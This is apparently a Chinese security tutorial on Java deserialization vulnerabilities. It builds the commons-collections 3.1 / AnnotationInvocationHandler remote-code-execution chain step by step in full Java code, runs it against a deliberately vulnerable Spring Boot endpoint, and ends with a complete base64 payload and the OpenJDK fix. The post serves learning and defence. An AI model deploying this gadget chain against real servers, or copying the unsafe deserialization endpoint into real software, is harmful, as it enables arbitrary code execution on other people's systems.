声明

本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。

序列化的定义

序列化是指将数据结构或对象状态转换成可取用格式,以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。依照序列化格式重新获取字节的结果时,可以利用它来产生与原始对象相同语义的副本。

Java 中的序列化

Java 自身提供了序列化的功能,需要实现 java.io.Serializable 接口,标明该对象是可序列化的。 java.io.Serializable 是一个空接口,不需要对象实现方法。

以下面这段代码为例,展示了一个对象的序列化和反序列化的过程。

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Eval0 {

    public static class Command implements Serializable {
        private String cmd;

        public String getCmd() {
            return cmd;
        }
        public void setCmd(String cmd) {
            this.cmd = cmd;
        }
    }

    public static void main(String[] args) throws Exception {
        // 定义一个对象
        Command command = new Command();
        command.setCmd("calc");
        System.out.println("序列化前: " + command.getCmd());

        // 将用户序列化为字节数组
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        try (ObjectOutputStream outputStream = new ObjectOutputStream(buffer)) {
            outputStream.writeObject(command);
        }
        // 将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
        final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());
        System.out.println("序列化后: " + data);

        // 将base64编码的数据再解码为字节数组
        final byte[] bytes = Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8));

        // 将字节数组反序列化为对象
        ByteArrayInputStream b = new ByteArrayInputStream(bytes);
        try (ObjectInputStream input = new ObjectInputStream(b)) {
            final Command obj = (Command) input.readObject();
            System.out.println("反序列化: " + obj.getCmd());
        }
    }
}

运行后输出:

序列化前: calc
序列化后: rO0ABXNyADdjbi50eXBlc2FmZS5qYXZhc2VyaWFsaXphdGlvbi5zZXJpYWxpemFibGUuRXZhbCRDb21tYW5k+hzZNZkL7qACAAFMAANjbWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABGNhbGM=
反序列化: calc

通过代码可以看出来我们并没有指定如何进行序列化和反序列化,都是Java帮助我们实现的,那能不能让我们自己来指定方式呢?答案是肯定的,通过搜索可以得出在对象中增加 writeObject readObject 两个私有方法就可以了,但是为什么可以却没有人说的清楚。

反序列化漏洞的成因

特立独行的程序员是不允许自己使用和其他人一样的序列化和反序列化方式的,但 java.io.Serializable 是一个空接口,没有需要实现的方法,要怎么自定义自己的序列化和反序列化方式呢?他决定通过查看源码来一探究竟,于是他打开IDE,找到 final User obj = (User) input.readObject(); 这行代码,点击跳转源码,发现实际上是调用了 Object obj = readObject0(false);,进入 readObject0 的实现中发现原来当目标是对象的时候会调用 readOrdinaryObject,他接着看了下去,发现只实现 java.io.Serializable 的对象会调用 readSerialData(obj, desc); 这行代码,而 readSerialData 方法中又会调用 slotDesc.invokeReadObject(obj, this);,最终是是调用了 readObjectMethod.invoke(obj, new Object[]{ in }); ,但readObjectMethod又是从哪里来的呢?他查看了一下引用,原来是 ObjectStreamClass 的构建函数里面初始化的

private ObjectStreamClass(final Class<?> cl) {
    ...
    cons = getSerializableConstructor(cl);
    writeObjectMethod = getPrivateMethod(cl, "writeObject",
        new Class<?>[] { ObjectOutputStream.class },
        Void.TYPE);
    readObjectMethod = getPrivateMethod(cl, "readObject",
        new Class<?>[] { ObjectInputStream.class },
        Void.TYPE);
    readObjectNoDataMethod = getPrivateMethod(
        cl, "readObjectNoData", null, Void.TYPE);
    hasWriteObjectData = (writeObjectMethod != null);
    ...
}

他恍然大悟,原来只需要在对象中增加一个名为 readObject参数是 java.io.ObjectInputStream 的私有方法就行了,于是他把代码修改为了这个样子

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Eval1 {

    public static class Command implements Serializable {
        private String cmd;

        public String getCmd() {
            return cmd;
        }
        public void setCmd(String cmd) {
            this.cmd = cmd;
        }

        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
            //执行默认的readObject()方法
            in.defaultReadObject();
            //执行命令
            Runtime.getRuntime().exec(this.getCmd());
        }
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 定义一个对象
        Command command = new Command();
        command.setCmd("calc");
        System.out.println("序列化前: " + command.getCmd());

        // 将用户序列化为字节数组
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        try (ObjectOutputStream outputStream = new ObjectOutputStream(buffer)) {
            outputStream.writeObject(command);
        }
        // 将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
        final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());
        System.out.println("序列化后: " + data);

        // 将base64编码的数据再解码为字节数组
        final byte[] bytes = Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8));

        // 将字节数组反序列化为对象
        ByteArrayInputStream b = new ByteArrayInputStream(bytes);
        try (ObjectInputStream input = new ObjectInputStream(b)) {
            final Command obj = (Command) input.readObject();
            System.out.println("反序列化: " + obj.getCmd());
        }
    }
}

运行后输出:

序列化前: calc
序列化后: rO0ABXNyADdjbi50eXBlc2FmZS5qYXZhc2VyaWFsaXphdGlvbi5zZXJpYWxpemFibGUuRXZhbCRDb21tYW5k+hzZNZkL7qACAAFMAANjbWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABGNhbGM=
反序列化: calc

同时还弹出来了计算器。

Java 反序列化漏洞的产生原因就是在执行反序列化方法的时候执行了非法的命令,但真的会有程序员这样写代码吗?非要在反序列化方法里面加上执行命令的代码。

真实环境里面的反序列化漏洞是什么样子的?

commons-collections 3.1 版本为例,InvokerTransformer 本来是用来帮助开发人员进行类型转换的,但由于其功能过于灵活,被安全人员发现可以用来执行任意代码。

瞒天过海

首先我们来看一段简单的代码,用 InvokerTransformer 来实现 Runtime.getRuntime().exec("calc")

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Exp0 {

    public static void main(String[] args) {

        // 使用 ConstantTransformer 将 Runtime.class 包装一层,等同于  Class<Runtime> runtimeClass = Runtime.class;
        Object runtimeClass = new ConstantTransformer(Runtime.class).transform(null);

        // 使用 InvokerTransformer 调用 runtimeClass 的 getMethod 方法,等同于  Method getRuntime = runtimeClass.getMethod("getRuntime", null);
        Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(runtimeClass);

        // 使用 InvokerTransformer 调用getRuntimeMethod 的 invoke 方法,等同于 Object runtime = getRuntime.invoke(null, null);
        Object runtime = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]).transform(getRuntimeMethod);

        // 使用 InvokerTransformer 调用 runtime 的 exec 方法,等同于 runtime.exec("calc")
        Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    }
}

InvokerTransformer 构造方法有三个参数,分别为 方法名称、方法类型数组、方法参数数组方法名称不用多说,其中第二个方法类型数组和第三个方法参数数组 的长度必须要相等。

InvokerTransformertransform 方法就是将输入的对象按照构造方法传入的参数转换为另一个对象,没有任何限制,因此即使程序内部没有 Runtime.getRuntime().exec("calc") 这行代码,也通过InvokerTransformer来可实现调用。

李代桃僵

尽管程序内部没有 Runtime.getRuntime().exec("calc") 这行代码,但是开发人员肯定也不会把上面那一大块代码写到程序里面,因此我们还需要另想办法。首先我们先把代码简化一下,修改为链式调用。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Exp1 {

    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 把 Transformer 使用链的方式调用,从上到下,不用再每次执行
        Transformer transformerChain = ChainedTransformer.getInstance(transformers);
        // 调用转换
        transformerChain.transform(null);
    }
}

这样我们只需要调用一次 transform 就行了,但是想让目标系统执行我们的代码还是不可能的,因此还需要再寻求其他方式。

暗渡陈仓

有安全人员发现,commons-collections 自己实现了 Map.Entry,并且在 setValue 的时候会先调用 TransformedMapcheckSetValue 方法,而这个方法又调用了我们传入的 valueTransformertransform 方法,这样一套流程下来,当我们对经过 TransformedMap 转换出来的 Mapput 操作的时候,都会触发执行一次我们构造的任意指令。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Exp2 {

    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 把 Transformer 使用链的方式调用,从上到下,不用再每次执行
        Transformer transformerChain = ChainedTransformer.getInstance(transformers);

        // 利用 TransformedMap 的漏洞来执行 transform 方法
        Map<String, String> innerMap = new HashMap<>();
        innerMap.put("name", "守法市民小杜");
        // TransformedMap 继承自 AbstractInputCheckedMapDecorator,Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntry
        Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        // AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value),而 checkSetValue 会调用 valueTransformer 的 transform 方法
        outerMap.put("name", "法外狂徒张三");
    }
}

笑里藏刀

现在只差最后一步,需要找到一个类,用它创建一个对象并完成序列化,同时它还必须满足以下三个条件:

  1. 实现了 Serializable 接口。
  2. 增加了 readObject 方法。
  3. 成员变量中有 Map 并且在 readObject 时对这个 Map 进行了 put 操作或操作了 Map.EntrysetValue 方法。

安全人员在审查 openjdk 源码时发现了 sun.reflect.annotation.AnnotationInvocationHandler这个类 符合这个条件,只需用这个类创建一个对象,再将其序列化之后的内容发送到其他系统,即可完成漏洞利用。

但只局限于以下这几个版本

readObject 方法如下

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            // debug 发现这个 name 是一个固定值 "value" 
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                      // 下面这行代码会触发
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

安全人员在 debug 时发现 Map 中的 key 为固定值 "value" ,因此我们需要将 Map 中的 key 修改为字符串 "value",下面我们生成一个 payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp3 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = ChainedTransformer.getInstance(transformers);

        // 利用 TransformedMap 的漏洞来执行 transform 方法
        Map<String, String> innerMap = new HashMap<>();
        innerMap.put("value", "守法市民小杜");
        // TransformedMap 继承自 AbstractInputCheckedMapDecorator,Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntry
        Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        // AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value),而 checkSetValue 会调用 valueTransformer 的 transform 方法
//        outerMap.put("value", "法外狂徒张三");

        // AnnotationInvocationHandler 不是 public 类型的类,且没有公开的构造器方法,只能通过反射创建
        Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        // 因为其构造方法不是 public
        constructor.setAccessible(true);
        // 实例化对象
        Object target = constructor.newInstance(Target.class, outerMap);
        
        // 将对象序列化为字节数组
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        try (ObjectOutputStream outputStream = new ObjectOutputStream(buffer)) {
            outputStream.writeObject(target);
        }
        // 将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
        final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());
        System.out.println("payload: " + data);
    }
}

使用 maven 新建一个 springboot 项目来模拟目标环境,添加 commons-collections 3.1 的依赖,并增加一个接口如下:

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

@RestController
@SpringBootApplication
public class Application {

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

    /**
     * apache commons-collections 3.1 版本的反序列化漏洞
     *
     * @param request request
     * @return 是否成功
     * @throws Exception 异常
     */
    @PostMapping("/commons-collections-3.1")
    public String commonsCollections3_1(HttpServletRequest request) throws Exception {
        ServletInputStream inputStream = request.getInputStream();
        final StringBuilder sb = new StringBuilder();
        try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
            char[] charBuffer = new char[1024];
            int bytesRead;
            while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
                sb.append(charBuffer, 0, bytesRead);
            }
        }
        // 读取 request body 中的字符串
        final String requestBody = sb.toString();
        // 使用 base64 解码
        final byte[] bytes = Base64.getDecoder().decode(requestBody.getBytes(StandardCharsets.UTF_8));

        // 将字节数组反序列化为对象
        ByteArrayInputStream b = new ByteArrayInputStream(bytes);
        try (ObjectInputStream input = new ObjectInputStream(b)) {
            Object obj = input.readObject();
            System.out.println(obj);
        }
        return "success";
    }
}

启动 springboot 服务。

最后增加一个发送 http 请求的测试,此步骤可以换postman 或者 burp,我这里是使用了 IDEA 自带的 http 请求工具进行测试

### 发送POST 请求
POST http://localhost:8080/commons-collections-3.1

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABpzcQB+ABF1cQB+ABYAAAACcHB0AAZpbnZva2V1cQB+ABoAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAWc3EAfgARdXEAfgAWAAAAAXQABGNhbGN0AARleGVjdXEAfgAaAAAAAXEAfgAdc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXQAEuWuiOazleW4guawkeWwj+adnHh4dnIAG2phdmEubGFuZy5hbm5vdGF0aW9uLlRhcmdldAAAAAAAAAAAAAAAeHA=

请求发送成功,便可以看到电脑打开了计算器。

文中测试使用系统和工具版本如下:

其他

在最新的 openjdk 8u 中则修复了这个问题,代码如下:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ... 省略

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
        Map<String, Object> mv = new LinkedHashMap<>();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
            String name = memberValue.getKey();
            Object value = null;
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    value = new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name));
                }
            }
            mv.put(name, value);
        }

        UnsafeAccessor.setType(this, t);
        UnsafeAccessor.setMemberValues(this, mv);
    }

https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/6f1875b6f29f/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

已经不再能够触发 transform

参考

https://github.com/Cryin/Paper/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%A3%80%E6%B5%8B%E6%96%B9%E6%A1%88.md

https://xz.aliyun.com/t/7031#toc-10